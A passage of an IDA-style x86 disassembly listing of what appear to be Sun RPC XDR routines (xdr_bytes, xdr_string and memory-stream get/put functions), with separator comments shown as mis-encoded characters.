db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064F78: ; CODE XREF: sub_8064F58+14j movsx ebx, word ptr [ebx] mov [ebp+var_4], ebx mov eax, [ecx+4] lea edx, [ebp+var_4] push edx push ecx mov eax, [eax+4] call eax jmp short loc_8064FB2 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064F90: ; CODE XREF: sub_8064F58+12j mov eax, [ecx+4] lea edx, [ebp+var_4] push edx push ecx mov eax, [eax] call eax test eax, eax jz short loc_8064FB0 mov ax, word ptr [ebp+var_4] mov [ebx], ax loc_8064FA7: ; CODE XREF: sub_8064F58+19j mov eax, 1 jmp short loc_8064FB2 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064FB0: ; CODE XREF: sub_8064F58+1Bj ; sub_8064F58+46j xor eax, eax loc_8064FB2: ; CODE XREF: sub_8064F58+33j ; sub_8064F58+54j mov ebx, [ebp+var_8] mov esp, ebp pop ebp retn sub_8064F58 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8064FBC proc near ; CODE XREF: sub_8066858+35p ; DATA XREF: sub_80649E0+7Eo var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4 push ebx mov ecx, [ebp+arg_0] mov ebx, [ebp+arg_4] mov eax, [ecx] cmp eax, 1 jz short loc_8064FF4 jb short loc_8064FDC cmp eax, 2 jz short loc_806500B jmp short loc_8065014 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064FDC: ; CODE XREF: sub_8064FBC+14j movzx ebx, word ptr [ebx] mov [ebp+var_4], ebx mov eax, [ecx+4] lea edx, [ebp+var_4] push edx push ecx mov eax, [eax+4] call eax jmp short loc_8065016 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064FF4: ; CODE XREF: sub_8064FBC+12j mov eax, [ecx+4] lea edx, [ebp+var_4] push edx push ecx mov eax, [eax] call eax test eax, eax jz short loc_8065014 mov ax, word ptr [ebp+var_4] mov [ebx], ax loc_806500B: ; CODE XREF: sub_8064FBC+19j mov eax, 1 jmp short loc_8065016 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065014: ; CODE XREF: sub_8064FBC+1Bj ; sub_8064FBC+46j xor eax, eax loc_8065016: ; CODE XREF: sub_8064FBC+33j ; sub_8064FBC+54j mov ebx, [ebp+var_8] mov esp, ebp pop ebp retn sub_8064FBC endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8065020 proc near var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4 push ebx mov edx, [ebp+arg_0] mov ebx, [ebp+arg_4] movzx ecx, byte ptr [ebx] mov [ebp+var_4], ecx lea eax, [ebp+var_4] push eax push edx call sub_8064EA0 test eax, eax jz short loc_8065050 mov al, byte ptr [ebp+var_4] mov [ebx], al mov eax, 1 jmp short loc_8065052 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065050: ; CODE XREF: sub_8065020+1Fj xor eax, eax loc_8065052: ; CODE XREF: sub_8065020+2Bj mov ebx, [ebp+var_8] mov esp, ebp pop ebp retn sub_8065020 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_806505C proc near var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4 push ebx mov edx, [ebp+arg_0] mov ebx, [ebp+arg_4] movzx ecx, byte ptr [ebx] mov [ebp+var_4], ecx lea eax, [ebp+var_4] push eax push edx call sub_8064EB4 test eax, eax jz short loc_806508C mov al, byte ptr [ebp+var_4] mov [ebx], al mov eax, 1 jmp short loc_806508E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806508C: ; CODE XREF: sub_806505C+1Fj xor eax, eax loc_806508E: ; CODE XREF: sub_806505C+2Bj mov ebx, [ebp+var_8] mov esp, ebp pop ebp retn sub_806505C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8065098 proc near ; CODE XREF: sub_80666A0+Dp ; sub_8067248+25p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4 push ebx mov ecx, [ebp+arg_0] mov ebx, [ebp+arg_4] mov eax, [ecx] cmp eax, 1 jz short loc_80650D8 jb short loc_80650B8 cmp eax, 2 jz short loc_80650F6 jmp short loc_8065100 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80650B8: ; CODE XREF: sub_8065098+14j cmp dword ptr [ebx], 0 setnz al and eax, 0FFh mov [ebp+var_4], eax mov edx, [ecx+4] lea eax, [ebp+var_4] push eax push ecx mov eax, [edx+4] call eax jmp short loc_8065102 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80650D8: ; CODE XREF: sub_8065098+12j mov eax, [ecx+4] lea edx, [ebp+var_4] push edx push ecx mov eax, [eax] call eax test eax, eax jz short loc_8065100 cmp [ebp+var_4], 0 setnz al and eax, 0FFh mov [ebx], eax loc_80650F6: ; CODE XREF: sub_8065098+19j mov eax, 1 jmp short loc_8065102 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065100: ; CODE XREF: sub_8065098+1Bj ; sub_8065098+4Ej xor eax, eax loc_8065102: ; CODE XREF: sub_8065098+3Bj ; sub_8065098+63j mov ebx, [ebp+var_8] mov esp, ebp pop ebp retn sub_8065098 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_806510C proc near ; CODE XREF: sub_8064B1C+Dp ; sub_8064B70+1Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] push eax push edx call sub_8064EC8 mov esp, ebp pop ebp retn sub_806510C endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8065120 proc near ; CODE XREF: sub_8064B58+Dp ; sub_80651B8+97p ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_0] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] test edx, edx jz short loc_80651A8 mov ebx, edx and ebx, 3 jz short loc_8065143 mov edi, 4 sub edi, ebx mov ebx, edi loc_8065143: ; CODE XREF: sub_8065120+18j cmp dword ptr [esi], 1 jnz short loc_8065170 mov eax, [esi+4] push edx push ecx push esi mov eax, [eax+8] call eax add esp, 0Ch test eax, eax jz short loc_80651A1 test ebx, ebx jz short loc_80651A8 mov eax, [esi+4] push ebx push offset unk_807E758 push esi mov eax, [eax+8] call eax jmp short loc_80651AD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8065170: ; CODE XREF: sub_8065120+26j cmp dword ptr [esi], 0 jnz short loc_806519C mov eax, [esi+4] push edx push ecx push esi mov eax, [eax+0Ch] call eax add esp, 0Ch test eax, eax jz short loc_80651A1 test ebx, ebx jz short loc_80651A8 mov eax, [esi+4] push ebx push offset unk_807923C push esi mov eax, [eax+0Ch] call eax jmp short loc_80651AD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806519C: ; CODE XREF: sub_8065120+53j cmp dword ptr [esi], 2 jz short loc_80651A8 loc_80651A1: ; CODE XREF: sub_8065120+38j ; sub_8065120+65j xor eax, eax jmp short loc_80651AD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80651A8: ; CODE XREF: sub_8065120+11j ; sub_8065120+3Cj ... mov eax, 1 loc_80651AD: ; CODE XREF: sub_8065120+4Dj ; sub_8065120+7Aj ... lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8065120 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80651B8 proc near ; CODE XREF: sub_8064B1C+2Ep ; sub_806527C+14p ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push edi push esi push ebx mov edi, [ebp+arg_0] mov esi, [ebp+arg_8] mov edx, [ebp+arg_4] mov ebx, [edx] call sub_805E954 push esi push edi call sub_8064EB4 add esp, 8 test eax, eax jz loc_8065270 mov esi, [esi] cmp [ebp+arg_C], esi jnb short loc_80651F0 cmp dword ptr [edi], 2 jnz loc_8065270 loc_80651F0: ; CODE XREF: sub_80651B8+2Dj mov eax, [edi] cmp eax, 1 jz short loc_8065200 jb short loc_806524C cmp eax, 2 jz short loc_8065258 jmp short loc_8065270 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065200: ; CODE XREF: sub_80651B8+3Dj test esi, esi jnz short loc_806520C loc_8065204: ; CODE XREF: sub_80651B8+A2j ; sub_80651B8+B3j mov eax, 1 jmp short loc_8065272 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806520C: ; CODE XREF: sub_80651B8+4Aj test ebx, ebx jnz short loc_806524C push esi call malloc mov ebx, eax mov edx, [ebp+arg_4] mov [edx], ebx add esp, 4 test ebx, ebx jnz short loc_806524C push offset aOutOfMemory_1 ; "out of memory" push 1 push 0Ah mov eax, dword_8078F9C push eax call catgets push eax push offset aXdr_bytesS ; "xdr_bytes: %s\n" push offset unk_80787A4 call fprintf jmp short loc_8065270 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806524C: ; CODE XREF: sub_80651B8+3Fj ; sub_80651B8+56j ... push esi push ebx push edi call sub_8065120 jmp short loc_8065272 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065258: ; CODE XREF: sub_80651B8+44j test ebx, ebx jz short loc_8065204 push ebx call free mov edx, [ebp+arg_4] mov dword ptr [edx], 0 jmp short loc_8065204 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065270: ; CODE XREF: sub_80651B8+22j ; sub_80651B8+32j ... xor eax, eax loc_8065272: ; CODE XREF: sub_80651B8+51j ; sub_80651B8+9Cj lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_80651B8 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_806527C proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] push 400h push eax add eax, 4 push eax push edx call sub_80651B8 mov esp, ebp pop ebp retn sub_806527C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_806529C proc near ; CODE XREF: sub_8064C48+40p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] mov ebx, [ebp+arg_C] push edi push esi call sub_806510C add esp, 8 test eax, eax jz short loc_80652D7 mov eax, [edi] cmp dword ptr [ebx+4], 0 jz short loc_80652D1 db 8Dh,76h,0 ; lea esi, [esi+0] loc_80652C4: ; CODE XREF: sub_806529C+33j cmp [ebx], eax jz short loc_80652DC add ebx, 8 cmp dword ptr [ebx+4], 0 jnz short loc_80652C4 loc_80652D1: ; CODE XREF: sub_806529C+23j cmp [ebp+arg_10], 0 jnz short loc_80652EC loc_80652D7: ; CODE XREF: sub_806529C+1Bj xor eax, eax jmp short loc_80652F8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80652DC: ; CODE XREF: sub_806529C+2Aj push 0FFFFFFFFh mov edx, [ebp+arg_8] push edx push esi mov eax, [ebx+4] call eax jmp short loc_80652F8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80652EC: ; CODE XREF: sub_806529C+39j push 0FFFFFFFFh mov edx, [ebp+arg_8] push edx push esi mov edx, [ebp+arg_10] call edx loc_80652F8: ; CODE XREF: sub_806529C+3Dj ; sub_806529C+4Cj lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_806529C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8065304 proc near ; CODE XREF: sub_80653E0+Dp ; sub_8066464+10p ... var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] mov ebx, [edi] call sub_805E954 mov eax, [esi] test eax, eax jz short loc_806532D cmp eax, 2 jnz short loc_8065339 test ebx, ebx jz loc_80653CC loc_806532D: ; CODE XREF: sub_8065304+1Aj push ebx call sub_80662B0 mov [ebp+var_4], eax add esp, 4 loc_8065339: ; CODE XREF: sub_8065304+1Fj lea eax, [ebp+var_4] push eax push esi call sub_8064EB4 add esp, 8 test eax, eax jz loc_80653D4 mov ecx, [ebp+arg_8] cmp [ebp+var_4], ecx ja short loc_80653D4 mov edx, [ebp+var_4] inc edx mov eax, [esi] cmp eax, 1 jz short loc_806536C jb short loc_80653B3 cmp eax, 2 jz short loc_80653C0 jmp short loc_80653D4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806536C: ; CODE XREF: sub_8065304+5Bj test edx, edx jz short loc_80653CC test ebx, ebx jnz short loc_80653AC push edx call malloc mov ebx, eax mov [edi], ebx add esp, 4 test ebx, ebx jnz short loc_80653AC push offset aOutOfMemory_1 ; "out of memory" push 1 push 0Ah mov eax, dword_8078F9C push eax call catgets push eax push offset aXdr_stringS ; "xdr_string: %s\n" push offset unk_80787A4 call fprintf jmp short loc_80653D4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80653AC: ; CODE XREF: sub_8065304+6Ej ; sub_8065304+7Fj mov eax, [ebp+var_4] mov byte ptr [eax+ebx], 0 loc_80653B3: ; CODE XREF: sub_8065304+5Dj mov eax, [ebp+var_4] push eax push ebx push esi call sub_8065120 jmp short loc_80653D6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80653C0: ; CODE XREF: sub_8065304+62j push ebx call free mov dword ptr [edi], 0 loc_80653CC: ; CODE XREF: sub_8065304+23j ; sub_8065304+6Aj mov eax, 1 jmp short loc_80653D6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80653D4: ; CODE XREF: sub_8065304+44j ; sub_8065304+50j ... xor eax, eax loc_80653D6: ; CODE XREF: sub_8065304+BAj ; sub_8065304+CDj lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8065304 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80653E0 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] push 0FFFFFFFFh push eax push edx call sub_8065304 test eax, eax jnz short loc_80653FC xor eax, eax mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80653FC: ; CODE XREF: sub_80653E0+14j mov eax, 1 mov esp, ebp pop ebp retn sub_80653E0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8065408 proc near ; CODE XREF: sub_8063B04+17Ep ; sub_80641C8+158p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov edx, [ebp+arg_0] mov ecx, [ebp+arg_4] mov ebx, [ebp+arg_8] mov eax, [ebp+arg_C] mov [edx], eax mov dword ptr [edx+4], offset off_8079240 mov [edx+10h], ecx mov [edx+0Ch], ecx mov [edx+14h], ebx mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8065408 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8065434 proc near ; DATA XREF: .data:0807925Co push ebp mov ebp, esp mov esp, ebp pop ebp retn sub_8065434 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_806543C proc near ; DATA XREF: .data:08079240o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov ecx, [ebp+arg_4] mov eax, [edx+14h] add eax, 0FFFFFFFCh mov [edx+14h], eax js short loc_806546C mov eax, [edx+0Ch] mov eax, [eax] xchg al, ah ror eax, 10h xchg al, ah mov [ecx], eax add dword ptr [edx+0Ch], 4 mov eax, 1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806546C: ; CODE XREF: sub_806543C+12j xor eax, eax mov esp, ebp pop ebp retn sub_806543C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8065474 proc near ; DATA XREF: .data:08079244o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ecx+14h] add eax, 0FFFFFFFCh mov [ecx+14h], eax js short loc_80654A4 mov eax, [ecx+0Ch] mov edx, [edx] xchg dl, dh ror edx, 10h xchg dl, dh mov [eax], edx add dword ptr [ecx+0Ch], 4 mov eax, 1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80654A4: ; CODE XREF: sub_8065474+12j xor eax, eax mov esp, ebp pop ebp retn sub_8065474 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80654AC proc near ; DATA XREF: .data:08079248o var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push ebx mov ebx, [ebp+arg_0] mov edx, [ebp+arg_4] mov esi, [ebp+arg_8] mov eax, [ebx+14h] sub eax, esi mov [ebx+14h], eax js short loc_80654DC push esi push edx mov eax, [ebx+0Ch] push eax call bcopy add [ebx+0Ch], esi mov eax, 1 jmp short loc_80654DE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80654DC: ; CODE XREF: sub_80654AC+16j xor eax, eax loc_80654DE: ; CODE XREF: sub_80654AC+2Bj lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_80654AC endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80654E8 proc near ; DATA XREF: .data:0807924Co var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push ebx mov ebx, [ebp+arg_0] mov edx, [ebp+arg_4] mov esi, [ebp+arg_8] mov eax, [ebx+14h] sub eax, esi mov [ebx+14h], eax js short loc_8065518 push esi mov eax, [ebx+0Ch] push eax push edx call bcopy add [ebx+0Ch], esi mov eax, 1 jmp short loc_806551A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065518: ; CODE XREF: sub_80654E8+16j xor eax, eax loc_806551A: ; CODE XREF: sub_80654E8+2Bj lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_80654E8 endp ; 